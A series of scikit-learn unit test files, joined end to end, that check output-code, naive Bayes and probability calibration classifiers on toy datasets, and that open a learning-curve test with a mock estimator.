    assert_raises(ValueError, ecoc.predict, [])


def test_ecoc_fit_predict():
    # A classifier which implements decision_function.
    ecoc = OutputCodeClassifier(LinearSVC(random_state=0),
                                code_size=2, random_state=0)
    ecoc.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(len(ecoc.estimators_), n_classes * 2)

    # A classifier which implements predict_proba.
    ecoc = OutputCodeClassifier(MultinomialNB(), code_size=2, random_state=0)
    ecoc.fit(iris.data, iris.target).predict(iris.data)
    assert_equal(len(ecoc.estimators_), n_classes * 2)


def test_ecoc_gridsearch():
    ecoc = OutputCodeClassifier(LinearSVC(random_state=0),
                                random_state=0)
    Cs = [0.1, 0.5, 0.8]
    cv = GridSearchCV(ecoc, {'estimator__C': Cs})
    cv.fit(iris.data, iris.target)
    best_C = cv.best_estimator_.estimators_[0].C
    assert_true(best_C in Cs)






import pickle
from io import BytesIO
import numpy as np
import scipy.sparse

from sklearn.datasets import load_digits, load_iris

from sklearn.model_selection import train_test_split
from sklearn.model_selection import cross_val_score

from sklearn.externals.six.moves import zip
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_greater

from sklearn.naive_bayes import GaussianNB, BernoulliNB, MultinomialNB

# Data is just 6 separable points in the plane
X = np.array([[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]])
y = np.array([1, 1, 1, 2, 2, 2])

# A bit more random tests
rng = np.random.RandomState(0)
X1 = rng.normal(size=(10, 3))
y1 = (rng.normal(size=(10)) > 0).astype(np.int)

# Data is 6 random integer points in a 100 dimensional space classified to
# three classes.
X2 = rng.randint(5, size=(6, 100))
y2 = np.array([1, 1, 2, 2, 3, 3])


def test_gnb():
    # Gaussian Naive Bayes classification.
    # This checks that GaussianNB implements fit and predict and returns
    # correct values for a simple toy dataset.

    clf = GaussianNB()
    y_pred = clf.fit(X, y).predict(X)
    assert_array_equal(y_pred, y)

    y_pred_proba = clf.predict_proba(X)
    y_pred_log_proba = clf.predict_log_proba(X)
    assert_array_almost_equal(np.log(y_pred_proba), y_pred_log_proba, 8)

    # Test whether label mismatch between target y and classes raises
    # an Error
    # FIXME Remove this test once the more general partial_fit tests are merged
    assert_raises(ValueError, GaussianNB().partial_fit, X, y, classes=[0, 1])


def test_gnb_prior():
    # Test whether class priors are properly set.
    clf = GaussianNB().fit(X, y)
    assert_array_almost_equal(np.array([3, 3]) / 6.0,
                              clf.class_prior_, 8)
    clf.fit(X1, y1)
    # Check that the class priors sum to 1
    assert_array_almost_equal(clf.class_prior_.sum(), 1)


def test_gnb_sample_weight():
    """Test whether sample weights are properly used in GNB. """
    # Sample weights all being 1 should not change results
    sw = np.ones(6)
    clf = GaussianNB().fit(X, y)
    clf_sw = GaussianNB().fit(X, y, sw)

    assert_array_almost_equal(clf.theta_, clf_sw.theta_)
    assert_array_almost_equal(clf.sigma_, clf_sw.sigma_)

    # Fitting twice with half sample-weights should result
    # in same result as fitting once with full weights
    sw = rng.rand(y.shape[0])
    clf1 = GaussianNB().fit(X, y, sample_weight=sw)
    clf2 = GaussianNB().partial_fit(X, y, classes=[1, 2], sample_weight=sw / 2)
    clf2.partial_fit(X, y, sample_weight=sw / 2)

    assert_array_almost_equal(clf1.theta_, clf2.theta_)
    assert_array_almost_equal(clf1.sigma_, clf2.sigma_)

    # Check that duplicate entries and correspondingly increased sample
    # weights yield the same result
    ind = rng.randint(0, X.shape[0], 20)
    sample_weight = np.bincount(ind, minlength=X.shape[0])

    clf_dupl = GaussianNB().fit(X[ind], y[ind])
    clf_sw = GaussianNB().fit(X, y, sample_weight)

    assert_array_almost_equal(clf_dupl.theta_, clf_sw.theta_)
    assert_array_almost_equal(clf_dupl.sigma_, clf_sw.sigma_)


def test_gnb_neg_priors():
    """Test whether an error is raised in case of negative priors"""
    clf = GaussianNB(priors=np.array([-1., 2.]))
    assert_raises(ValueError, clf.fit, X, y)


def test_gnb_priors():
    """Test whether the class prior override is properly used"""
    clf = GaussianNB(priors=np.array([0.3, 0.7])).fit(X, y)
    assert_array_almost_equal(clf.predict_proba([[-0.1, -0.1]]),
                              np.array([[0.825303662161683,
                                         0.174696337838317]]), 8)
    assert_array_equal(clf.class_prior_, np.array([0.3, 0.7]))


def test_gnb_wrong_nb_priors():
    """ Test whether an error is raised if the number of prior is different
    from the number of class"""
    clf = GaussianNB(priors=np.array([.25, .25, .25, .25]))
    assert_raises(ValueError, clf.fit, X, y)


def test_gnb_prior_greater_one():
    """Test if an error is raised if the sum of prior greater than one"""
    clf = GaussianNB(priors=np.array([2., 1.]))
    assert_raises(ValueError, clf.fit, X, y)


def test_gnb_prior_large_bias():
    """Test if good prediction when class prior favor largely one class"""
    clf = GaussianNB(priors=np.array([0.01, 0.99]))
    clf.fit(X, y)
    assert_equal(clf.predict([[-0.1, -0.1]]), np.array([2]))


def test_check_update_with_no_data():
    """ Test when the partial fit is called without any data"""
    # Create an empty array
    prev_points = 100
    mean = 0.
    var = 1.
    x_empty = np.empty((0, X.shape[1]))
    tmean, tvar = GaussianNB._update_mean_variance(prev_points, mean,
                                                   var, x_empty)
    assert_equal(tmean, mean)
    assert_equal(tvar, var)


def test_gnb_pfit_wrong_nb_features():
    """Test whether an error is raised when the number of feature changes
    between two partial fit"""
    clf = GaussianNB()
    # Fit for the first time the GNB
    clf.fit(X, y)
    # Partial fit a second time with an incoherent X
    assert_raises(ValueError, clf.partial_fit, np.hstack((X, X)), y)


def test_discrete_prior():
    # Test whether class priors are properly set.
    for cls in [BernoulliNB, MultinomialNB]:
        clf = cls().fit(X2, y2)
        assert_array_almost_equal(np.log(np.array([2, 2, 2]) / 6.0),
                                  clf.class_log_prior_, 8)


def test_mnnb():
    # Test Multinomial Naive Bayes classification.
    # This checks that MultinomialNB implements fit and predict and returns
    # correct values for a simple toy dataset.

    for X in [X2, scipy.sparse.csr_matrix(X2)]:
        # Check the ability to predict the learning set.
        clf = MultinomialNB()
        assert_raises(ValueError, clf.fit, -X, y2)
        y_pred = clf.fit(X, y2).predict(X)

        assert_array_equal(y_pred, y2)

        # Verify that np.log(clf.predict_proba(X)) gives the same results as
        # clf.predict_log_proba(X)
        y_pred_proba = clf.predict_proba(X)
        y_pred_log_proba = clf.predict_log_proba(X)
        assert_array_almost_equal(np.log(y_pred_proba), y_pred_log_proba, 8)

        # Check that incremental fitting yields the same results
        clf2 = MultinomialNB()
        clf2.partial_fit(X[:2], y2[:2], classes=np.unique(y2))
        clf2.partial_fit(X[2:5], y2[2:5])
        clf2.partial_fit(X[5:], y2[5:])

        y_pred2 = clf2.predict(X)
        assert_array_equal(y_pred2, y2)

        y_pred_proba2 = clf2.predict_proba(X)
        y_pred_log_proba2 = clf2.predict_log_proba(X)
        assert_array_almost_equal(np.log(y_pred_proba2), y_pred_log_proba2, 8)
        assert_array_almost_equal(y_pred_proba2, y_pred_proba)
        assert_array_almost_equal(y_pred_log_proba2, y_pred_log_proba)

        # Partial fit on the whole data at once should be the same as fit too
        clf3 = MultinomialNB()
        clf3.partial_fit(X, y2, classes=np.unique(y2))

        y_pred3 = clf3.predict(X)
        assert_array_equal(y_pred3, y2)
        y_pred_proba3 = clf3.predict_proba(X)
        y_pred_log_proba3 = clf3.predict_log_proba(X)
        assert_array_almost_equal(np.log(y_pred_proba3), y_pred_log_proba3, 8)
        assert_array_almost_equal(y_pred_proba3, y_pred_proba)
        assert_array_almost_equal(y_pred_log_proba3, y_pred_log_proba)


def check_partial_fit(cls):
    clf1 = cls()
    clf1.fit([[0, 1], [1, 0]], [0, 1])

    clf2 = cls()
    clf2.partial_fit([[0, 1], [1, 0]], [0, 1], classes=[0, 1])
    assert_array_equal(clf1.class_count_, clf2.class_count_)
    assert_array_equal(clf1.feature_count_, clf2.feature_count_)

    clf3 = cls()
    clf3.partial_fit([[0, 1]], [0], classes=[0, 1])
    clf3.partial_fit([[1, 0]], [1])
    assert_array_equal(clf1.class_count_, clf3.class_count_)
    assert_array_equal(clf1.feature_count_, clf3.feature_count_)


def test_discretenb_partial_fit():
    for cls in [MultinomialNB, BernoulliNB]:
        yield check_partial_fit, cls


def test_gnb_partial_fit():
    clf = GaussianNB().fit(X, y)
    clf_pf = GaussianNB().partial_fit(X, y, np.unique(y))
    assert_array_almost_equal(clf.theta_, clf_pf.theta_)
    assert_array_almost_equal(clf.sigma_, clf_pf.sigma_)
    assert_array_almost_equal(clf.class_prior_, clf_pf.class_prior_)

    clf_pf2 = GaussianNB().partial_fit(X[0::2, :], y[0::2], np.unique(y))
    clf_pf2.partial_fit(X[1::2], y[1::2])
    assert_array_almost_equal(clf.theta_, clf_pf2.theta_)
    assert_array_almost_equal(clf.sigma_, clf_pf2.sigma_)
    assert_array_almost_equal(clf.class_prior_, clf_pf2.class_prior_)


def test_discretenb_pickle():
    # Test picklability of discrete naive Bayes classifiers

    for cls in [BernoulliNB, MultinomialNB, GaussianNB]:
        clf = cls().fit(X2, y2)
        y_pred = clf.predict(X2)

        store = BytesIO()
        pickle.dump(clf, store)
        clf = pickle.load(BytesIO(store.getvalue()))

        assert_array_equal(y_pred, clf.predict(X2))

        if cls is not GaussianNB:
            # TODO re-enable me when partial_fit is implemented for GaussianNB

            # Test pickling of estimator trained with partial_fit
            clf2 = cls().partial_fit(X2[:3], y2[:3], classes=np.unique(y2))
            clf2.partial_fit(X2[3:], y2[3:])
            store = BytesIO()
            pickle.dump(clf2, store)
            clf2 = pickle.load(BytesIO(store.getvalue()))
            assert_array_equal(y_pred, clf2.predict(X2))


def test_input_check_fit():
    # Test input checks for the fit method
    for cls in [BernoulliNB, MultinomialNB, GaussianNB]:
        # check shape consistency for number of samples at fit time
        assert_raises(ValueError, cls().fit, X2, y2[:-1])

        # check shape consistency for number of input features at predict time
        clf = cls().fit(X2, y2)
        assert_raises(ValueError, clf.predict, X2[:, :-1])


def test_input_check_partial_fit():
    for cls in [BernoulliNB, MultinomialNB]:
        # check shape consistency
        assert_raises(ValueError, cls().partial_fit, X2, y2[:-1],
                      classes=np.unique(y2))

        # classes is required for first call to partial fit
        assert_raises(ValueError, cls().partial_fit, X2, y2)

        # check consistency of consecutive classes values
        clf = cls()
        clf.partial_fit(X2, y2, classes=np.unique(y2))
        assert_raises(ValueError, clf.partial_fit, X2, y2,
                      classes=np.arange(42))

        # check consistency of input shape for partial_fit
        assert_raises(ValueError, clf.partial_fit, X2[:, :-1], y2)

        # check consistency of input shape for predict
        assert_raises(ValueError, clf.predict, X2[:, :-1])


def test_discretenb_predict_proba():
    # Test discrete NB classes' probability scores

    # The 100s below distinguish Bernoulli from multinomial.
    # FIXME: write a test to show this.
    X_bernoulli = [[1, 100, 0], [0, 1, 0], [0, 100, 1]]
    X_multinomial = [[0, 1], [1, 3], [4, 0]]

    # test binary case (1-d output)
    y = [0, 0, 2]   # 2 is regression test for binary case, 02e673
    for cls, X in zip([BernoulliNB, MultinomialNB],
                      [X_bernoulli, X_multinomial]):
        clf = cls().fit(X, y)
        assert_equal(clf.predict(X[-1:]), 2)
        assert_equal(clf.predict_proba([X[0]]).shape, (1, 2))
        assert_array_almost_equal(clf.predict_proba(X[:2]).sum(axis=1),
                                  np.array([1., 1.]), 6)

    # test multiclass case (2-d output, must sum to one)
    y = [0, 1, 2]
    for cls, X in zip([BernoulliNB, MultinomialNB],
                      [X_bernoulli, X_multinomial]):
        clf = cls().fit(X, y)
        assert_equal(clf.predict_proba(X[0:1]).shape, (1, 3))
        assert_equal(clf.predict_proba(X[:2]).shape, (2, 3))
        assert_almost_equal(np.sum(clf.predict_proba([X[1]])), 1)
        assert_almost_equal(np.sum(clf.predict_proba([X[-1]])), 1)
        assert_almost_equal(np.sum(np.exp(clf.class_log_prior_)), 1)
        assert_almost_equal(np.sum(np.exp(clf.intercept_)), 1)


def test_discretenb_uniform_prior():
    # Test whether discrete NB classes fit a uniform prior
    # when fit_prior=False and class_prior=None

    for cls in [BernoulliNB, MultinomialNB]:
        clf = cls()
        clf.set_params(fit_prior=False)
        clf.fit([[0], [0], [1]], [0, 0, 1])
        prior = np.exp(clf.class_log_prior_)
        assert_array_equal(prior, np.array([.5, .5]))


def test_discretenb_provide_prior():
    # Test whether discrete NB classes use provided prior

    for cls in [BernoulliNB, MultinomialNB]:
        clf = cls(class_prior=[0.5, 0.5])
        clf.fit([[0], [0], [1]], [0, 0, 1])
        prior = np.exp(clf.class_log_prior_)
        assert_array_equal(prior, np.array([.5, .5]))

        # Inconsistent number of classes with prior
        assert_raises(ValueError, clf.fit, [[0], [1], [2]], [0, 1, 2])
        assert_raises(ValueError, clf.partial_fit, [[0], [1]], [0, 1],
                      classes=[0, 1, 1])


def test_discretenb_provide_prior_with_partial_fit():
    # Test whether discrete NB classes use provided prior
    # when using partial_fit

    iris = load_iris()
    iris_data1, iris_data2, iris_target1, iris_target2 = train_test_split(
        iris.data, iris.target, test_size=0.4, random_state=415)

    for cls in [BernoulliNB, MultinomialNB]:
        for prior in [None, [0.3, 0.3, 0.4]]:
            clf_full = cls(class_prior=prior)
            clf_full.fit(iris.data, iris.target)
            clf_partial = cls(class_prior=prior)
            clf_partial.partial_fit(iris_data1, iris_target1,
                                    classes=[0, 1, 2])
            clf_partial.partial_fit(iris_data2, iris_target2)
            assert_array_almost_equal(clf_full.class_log_prior_,
                                      clf_partial.class_log_prior_)


def test_sample_weight_multiclass():
    for cls in [BernoulliNB, MultinomialNB]:
        # check shape consistency for number of samples at fit time
        yield check_sample_weight_multiclass, cls


def check_sample_weight_multiclass(cls):
    X = [
        [0, 0, 1],
        [0, 1, 1],
        [0, 1, 1],
        [1, 0, 0],
    ]
    y = [0, 0, 1, 2]
    sample_weight = np.array([1, 1, 2, 2], dtype=np.float64)
    sample_weight /= sample_weight.sum()
    clf = cls().fit(X, y, sample_weight=sample_weight)
    assert_array_equal(clf.predict(X), [0, 1, 1, 2])

    # Check sample weight using the partial_fit method
    clf = cls()
    clf.partial_fit(X[:2], y[:2], classes=[0, 1, 2],
                    sample_weight=sample_weight[:2])
    clf.partial_fit(X[2:3], y[2:3], sample_weight=sample_weight[2:3])
    clf.partial_fit(X[3:], y[3:], sample_weight=sample_weight[3:])
    assert_array_equal(clf.predict(X), [0, 1, 1, 2])


def test_sample_weight_mnb():
    clf = MultinomialNB()
    clf.fit([[1, 2], [1, 2], [1, 0]],
            [0, 0, 1],
            sample_weight=[1, 1, 4])
    assert_array_equal(clf.predict([[1, 0]]), [1])
    positive_prior = np.exp(clf.intercept_[0])
    assert_array_almost_equal([1 - positive_prior, positive_prior],
                              [1 / 3., 2 / 3.])


def test_coef_intercept_shape():
    # coef_ and intercept_ should have shapes as in other linear models.
    # Non-regression test for issue #2127.
    X = [[1, 0, 0], [1, 1, 1]]
    y = [1, 2]  # binary classification

    for clf in [MultinomialNB(), BernoulliNB()]:
        clf.fit(X, y)
        assert_equal(clf.coef_.shape, (1, 3))
        assert_equal(clf.intercept_.shape, (1,))


def test_check_accuracy_on_digits():
    # Non regression test to make sure that any further refactoring / optim
    # of the NB models do not harm the performance on a slightly non-linearly
    # separable dataset
    digits = load_digits()
    X, y = digits.data, digits.target
    binary_3v8 = np.logical_or(digits.target == 3, digits.target == 8)
    X_3v8, y_3v8 = X[binary_3v8], y[binary_3v8]

    # Multinomial NB
    scores = cross_val_score(MultinomialNB(alpha=10), X, y, cv=10)
    assert_greater(scores.mean(), 0.86)

    scores = cross_val_score(MultinomialNB(alpha=10), X_3v8, y_3v8, cv=10)
    assert_greater(scores.mean(), 0.94)

    # Bernoulli NB
    scores = cross_val_score(BernoulliNB(alpha=10), X > 4, y, cv=10)
    assert_greater(scores.mean(), 0.83)

    scores = cross_val_score(BernoulliNB(alpha=10), X_3v8 > 4, y_3v8, cv=10)
    assert_greater(scores.mean(), 0.92)

    # Gaussian NB
    scores = cross_val_score(GaussianNB(), X, y, cv=10)
    assert_greater(scores.mean(), 0.77)

    scores = cross_val_score(GaussianNB(), X_3v8, y_3v8, cv=10)
    assert_greater(scores.mean(), 0.86)


def test_feature_log_prob_bnb():
    # Test for issue #4268.
    # Tests that the feature log prob value computed by BernoulliNB when
    # alpha=1.0 is equal to the expression given in Manning, Raghavan,
    # and Schuetze's "Introduction to Information Retrieval" book:
    # http://nlp.stanford.edu/IR-book/html/htmledition/the-bernoulli-model-1.html

    X = np.array([[0, 0, 0], [1, 1, 0], [0, 1, 0], [1, 0, 1], [0, 1, 0]])
    Y = np.array([0, 0, 1, 2, 2])

    # Fit Bernoulli NB w/ alpha = 1.0
    clf = BernoulliNB(alpha=1.0)
    clf.fit(X, Y)

    # Manually form the (log) numerator and denominator that
    # constitute P(feature presence | class)
    num = np.log(clf.feature_count_ + 1.0)
    denom = np.tile(np.log(clf.class_count_ + 2.0), (X.shape[1], 1)).T

    # Check manual estimate matches
    assert_array_equal(clf.feature_log_prob_, (num - denom))


def test_bnb():
    # Tests that BernoulliNB when alpha=1.0 gives the same values as
    # those given for the toy example in Manning, Raghavan, and
    # Schuetze's "Introduction to Information Retrieval" book:
    # http://nlp.stanford.edu/IR-book/html/htmledition/the-bernoulli-model-1.html

    # Training data points are:
    # Chinese Beijing Chinese (class: China)
    # Chinese Chinese Shanghai (class: China)
    # Chinese Macao (class: China)
    # Tokyo Japan Chinese (class: Japan)

    # Features are Beijing, Chinese, Japan, Macao, Shanghai, and Tokyo
    X = np.array([[1, 1, 0, 0, 0, 0],
                  [0, 1, 0, 0, 1, 0],
                  [0, 1, 0, 1, 0, 0],
                  [0, 1, 1, 0, 0, 1]])

    # Classes are China (0), Japan (1)
    Y = np.array([0, 0, 0, 1])

    # Fit BernoulliBN w/ alpha = 1.0
    clf = BernoulliNB(alpha=1.0)
    clf.fit(X, Y)

    # Check the class prior is correct
    class_prior = np.array([0.75, 0.25])
    assert_array_almost_equal(np.exp(clf.class_log_prior_), class_prior)

    # Check the feature probabilities are correct
    feature_prob = np.array([[0.4, 0.8, 0.2, 0.4, 0.4, 0.2],
                             [1/3.0, 2/3.0, 2/3.0, 1/3.0, 1/3.0, 2/3.0]])
    assert_array_almost_equal(np.exp(clf.feature_log_prob_), feature_prob)

    # Testing data point is:
    # Chinese Chinese Chinese Tokyo Japan
    X_test = np.array([[0, 1, 1, 0, 0, 1]])

    # Check the predictive probabilities are correct
    unnorm_predict_proba = np.array([[0.005183999999999999,
                                      0.02194787379972565]])
    predict_proba = unnorm_predict_proba / np.sum(unnorm_predict_proba)
    assert_array_almost_equal(clf.predict_proba(X_test), predict_proba)


def test_naive_bayes_scale_invariance():
    # Scaling the data should not change the prediction results
    iris = load_iris()
    X, y = iris.data, iris.target
    labels = [GaussianNB().fit(f * X, y).predict(f * X)
              for f in [1E-10, 1, 1E10]]
    assert_array_equal(labels[0], labels[1])
    assert_array_equal(labels[1], labels[2])






# Authors: Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
# License: BSD 3 clause

import numpy as np
from scipy import sparse

from sklearn.utils.testing import (assert_array_almost_equal, assert_equal,
                                   assert_greater, assert_almost_equal,
                                   assert_greater_equal,
                                   assert_array_equal,
                                   assert_raises,
                                   ignore_warnings)
from sklearn.datasets import make_classification, make_blobs
from sklearn.naive_bayes import MultinomialNB
from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor
from sklearn.svm import LinearSVC
from sklearn.linear_model import Ridge
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import Imputer
from sklearn.metrics import brier_score_loss, log_loss
from sklearn.calibration import CalibratedClassifierCV
from sklearn.calibration import _sigmoid_calibration, _SigmoidCalibration
from sklearn.calibration import calibration_curve


@ignore_warnings
def test_calibration():
    """Test calibration objects with isotonic and sigmoid"""
    n_samples = 100
    X, y = make_classification(n_samples=2 * n_samples, n_features=6,
                               random_state=42)
    sample_weight = np.random.RandomState(seed=42).uniform(size=y.size)

    X -= X.min()  # MultinomialNB only allows positive X

    # split train and test
    X_train, y_train, sw_train = \
        X[:n_samples], y[:n_samples], sample_weight[:n_samples]
    X_test, y_test = X[n_samples:], y[n_samples:]

    # Naive-Bayes
    clf = MultinomialNB().fit(X_train, y_train, sample_weight=sw_train)
    prob_pos_clf = clf.predict_proba(X_test)[:, 1]

    pc_clf = CalibratedClassifierCV(clf, cv=y.size + 1)
    assert_raises(ValueError, pc_clf.fit, X, y)

    # Naive Bayes with calibration
    for this_X_train, this_X_test in [(X_train, X_test),
                                      (sparse.csr_matrix(X_train),
                                       sparse.csr_matrix(X_test))]:
        for method in ['isotonic', 'sigmoid']:
            pc_clf = CalibratedClassifierCV(clf, method=method, cv=2)
            # Note that this fit overwrites the fit on the entire training
            # set
            pc_clf.fit(this_X_train, y_train, sample_weight=sw_train)
            prob_pos_pc_clf = pc_clf.predict_proba(this_X_test)[:, 1]

            # Check that brier score has improved after calibration
            assert_greater(brier_score_loss(y_test, prob_pos_clf),
                           brier_score_loss(y_test, prob_pos_pc_clf))

            # Check invariance against relabeling [0, 1] -> [1, 2]
            pc_clf.fit(this_X_train, y_train + 1, sample_weight=sw_train)
            prob_pos_pc_clf_relabeled = pc_clf.predict_proba(this_X_test)[:, 1]
            assert_array_almost_equal(prob_pos_pc_clf,
                                      prob_pos_pc_clf_relabeled)

            # Check invariance against relabeling [0, 1] -> [-1, 1]
            pc_clf.fit(this_X_train, 2 * y_train - 1, sample_weight=sw_train)
            prob_pos_pc_clf_relabeled = pc_clf.predict_proba(this_X_test)[:, 1]
            assert_array_almost_equal(prob_pos_pc_clf,
                                      prob_pos_pc_clf_relabeled)

            # Check invariance against relabeling [0, 1] -> [1, 0]
            pc_clf.fit(this_X_train, (y_train + 1) % 2,
                       sample_weight=sw_train)
            prob_pos_pc_clf_relabeled = \
                pc_clf.predict_proba(this_X_test)[:, 1]
            if method == "sigmoid":
                assert_array_almost_equal(prob_pos_pc_clf,
                                          1 - prob_pos_pc_clf_relabeled)
            else:
                # Isotonic calibration is not invariant against relabeling
                # but should improve in both cases
                assert_greater(brier_score_loss(y_test, prob_pos_clf),
                               brier_score_loss((y_test + 1) % 2,
                                                prob_pos_pc_clf_relabeled))

        # check that calibration can also deal with regressors that have
        # a decision_function
        clf_base_regressor = CalibratedClassifierCV(Ridge())
        clf_base_regressor.fit(X_train, y_train)
        clf_base_regressor.predict(X_test)

        # Check failure cases:
        # only "isotonic" and "sigmoid" should be accepted as methods
        clf_invalid_method = CalibratedClassifierCV(clf, method="foo")
        assert_raises(ValueError, clf_invalid_method.fit, X_train, y_train)

        # base-estimators should provide either decision_function or
        # predict_proba (most regressors, for instance, should fail)
        clf_base_regressor = \
            CalibratedClassifierCV(RandomForestRegressor(), method="sigmoid")
        assert_raises(RuntimeError, clf_base_regressor.fit, X_train, y_train)


def test_sample_weight():
    n_samples = 100
    X, y = make_classification(n_samples=2 * n_samples, n_features=6,
                               random_state=42)

    sample_weight = np.random.RandomState(seed=42).uniform(size=len(y))
    X_train, y_train, sw_train = \
        X[:n_samples], y[:n_samples], sample_weight[:n_samples]
    X_test = X[n_samples:]

    for method in ['sigmoid', 'isotonic']:
        base_estimator = LinearSVC(random_state=42)
        calibrated_clf = CalibratedClassifierCV(base_estimator, method=method)
        calibrated_clf.fit(X_train, y_train, sample_weight=sw_train)
        probs_with_sw = calibrated_clf.predict_proba(X_test)

        # As the weights are used for the calibration, they should still yield
        # a different predictions
        calibrated_clf.fit(X_train, y_train)
        probs_without_sw = calibrated_clf.predict_proba(X_test)

        diff = np.linalg.norm(probs_with_sw - probs_without_sw)
        assert_greater(diff, 0.1)


def test_calibration_multiclass():
    """Test calibration for multiclass """
    # test multi-class setting with classifier that implements
    # only decision function
    clf = LinearSVC()
    X, y_idx = make_blobs(n_samples=100, n_features=2, random_state=42,
                          centers=3, cluster_std=3.0)

    # Use categorical labels to check that CalibratedClassifierCV supports
    # them correctly
    target_names = np.array(['a', 'b', 'c'])
    y = target_names[y_idx]

    X_train, y_train = X[::2], y[::2]
    X_test, y_test = X[1::2], y[1::2]

    clf.fit(X_train, y_train)
    for method in ['isotonic', 'sigmoid']:
        cal_clf = CalibratedClassifierCV(clf, method=method, cv=2)
        cal_clf.fit(X_train, y_train)
        probas = cal_clf.predict_proba(X_test)
        assert_array_almost_equal(np.sum(probas, axis=1), np.ones(len(X_test)))

        # Check that log-loss of calibrated classifier is smaller than
        # log-loss of naively turned OvR decision function to probabilities
        # via softmax
        def softmax(y_pred):
            e = np.exp(-y_pred)
            return e / e.sum(axis=1).reshape(-1, 1)
        uncalibrated_log_loss = \
            log_loss(y_test, softmax(clf.decision_function(X_test)))
        calibrated_log_loss = log_loss(y_test, probas)
        assert_greater_equal(uncalibrated_log_loss, calibrated_log_loss)

    # Test that calibration of a multiclass classifier decreases log-loss
    # for RandomForestClassifier
    X, y = make_blobs(n_samples=100, n_features=2, random_state=42,
                      cluster_std=3.0)
    X_train, y_train = X[::2], y[::2]
    X_test, y_test = X[1::2], y[1::2]

    clf = RandomForestClassifier(n_estimators=10, random_state=42)
    clf.fit(X_train, y_train)
    clf_probs = clf.predict_proba(X_test)
    loss = log_loss(y_test, clf_probs)

    for method in ['isotonic', 'sigmoid']:
        cal_clf = CalibratedClassifierCV(clf, method=method, cv=3)
        cal_clf.fit(X_train, y_train)
        cal_clf_probs = cal_clf.predict_proba(X_test)
        cal_loss = log_loss(y_test, cal_clf_probs)
        assert_greater(loss, cal_loss)


def test_calibration_prefit():
    """Test calibration for prefitted classifiers"""
    n_samples = 50
    X, y = make_classification(n_samples=3 * n_samples, n_features=6,
                               random_state=42)
    sample_weight = np.random.RandomState(seed=42).uniform(size=y.size)

    X -= X.min()  # MultinomialNB only allows positive X

    # split train and test
    X_train, y_train, sw_train = \
        X[:n_samples], y[:n_samples], sample_weight[:n_samples]
    X_calib, y_calib, sw_calib = \
        X[n_samples:2 * n_samples], y[n_samples:2 * n_samples], \
        sample_weight[n_samples:2 * n_samples]
    X_test, y_test = X[2 * n_samples:], y[2 * n_samples:]

    # Naive-Bayes
    clf = MultinomialNB()
    clf.fit(X_train, y_train, sw_train)
    prob_pos_clf = clf.predict_proba(X_test)[:, 1]

    # Naive Bayes with calibration
    for this_X_calib, this_X_test in [(X_calib, X_test),
                                      (sparse.csr_matrix(X_calib),
                                       sparse.csr_matrix(X_test))]:
        for method in ['isotonic', 'sigmoid']:
            pc_clf = CalibratedClassifierCV(clf, method=method, cv="prefit")

            for sw in [sw_calib, None]:
                pc_clf.fit(this_X_calib, y_calib, sample_weight=sw)
                y_prob = pc_clf.predict_proba(this_X_test)
                y_pred = pc_clf.predict(this_X_test)
                prob_pos_pc_clf = y_prob[:, 1]
                assert_array_equal(y_pred,
                                   np.array([0, 1])[np.argmax(y_prob, axis=1)])

                assert_greater(brier_score_loss(y_test, prob_pos_clf),
                               brier_score_loss(y_test, prob_pos_pc_clf))


def test_sigmoid_calibration():
    """Test calibration values with Platt sigmoid model"""
    exF = np.array([5, -4, 1.0])
    exY = np.array([1, -1, -1])
    # computed from my python port of the C++ code in LibSVM
    AB_lin_libsvm = np.array([-0.20261354391187855, 0.65236314980010512])
    assert_array_almost_equal(AB_lin_libsvm,
                              _sigmoid_calibration(exF, exY), 3)
    lin_prob = 1. / (1. + np.exp(AB_lin_libsvm[0] * exF + AB_lin_libsvm[1]))
    sk_prob = _SigmoidCalibration().fit(exF, exY).predict(exF)
    assert_array_almost_equal(lin_prob, sk_prob, 6)

    # check that _SigmoidCalibration().fit only accepts 1d array or 2d column
    # arrays
    assert_raises(ValueError, _SigmoidCalibration().fit,
                  np.vstack((exF, exF)), exY)


def test_calibration_curve():
    """Check calibration_curve function"""
    y_true = np.array([0, 0, 0, 1, 1, 1])
    y_pred = np.array([0., 0.1, 0.2, 0.8, 0.9, 1.])
    prob_true, prob_pred = calibration_curve(y_true, y_pred, n_bins=2)
    prob_true_unnormalized, prob_pred_unnormalized = \
        calibration_curve(y_true, y_pred * 2, n_bins=2, normalize=True)
    assert_equal(len(prob_true), len(prob_pred))
    assert_equal(len(prob_true), 2)
    assert_almost_equal(prob_true, [0, 1])
    assert_almost_equal(prob_pred, [0.1, 0.9])
    assert_almost_equal(prob_true, prob_true_unnormalized)
    assert_almost_equal(prob_pred, prob_pred_unnormalized)

    # probabilities outside [0, 1] should not be accepted when normalize
    # is set to False
    assert_raises(ValueError, calibration_curve, [1.1], [-0.1],
                  normalize=False)


def test_calibration_nan_imputer():
    """Test that calibration can accept nan"""
    X, y = make_classification(n_samples=10, n_features=2,
                               n_informative=2, n_redundant=0,
                               random_state=42)
    X[0, 0] = np.nan
    clf = Pipeline(
        [('imputer', Imputer()),
         ('rf', RandomForestClassifier(n_estimators=1))])
    clf_c = CalibratedClassifierCV(clf, cv=2, method='isotonic')
    clf_c.fit(X, y)
    clf_c.predict(X)






# Author: Alexander Fabisch <afabisch@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import sys
from sklearn.externals.six.moves import cStringIO as StringIO
import numpy as np
import warnings
from sklearn.base import BaseEstimator
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.datasets import make_classification

with warnings.catch_warnings():
    warnings.simplefilter('ignore')
    from sklearn.learning_curve import learning_curve, validation_curve
    from sklearn.cross_validation import KFold

from sklearn.linear_model import PassiveAggressiveClassifier


class MockImprovingEstimator(BaseEstimator):
    """Dummy classifier to test the learning curve"""
    def __init__(self, n_max_train_sizes):
        self.n_max_train_sizes = n_max_train_sizes
        self.train_sizes = 0
        self.X_subset = None

    def fit(self, X_subset, y_subset=None):
        self.X_subset = X_subset
        self.train_sizes = X_subset.shape[0]
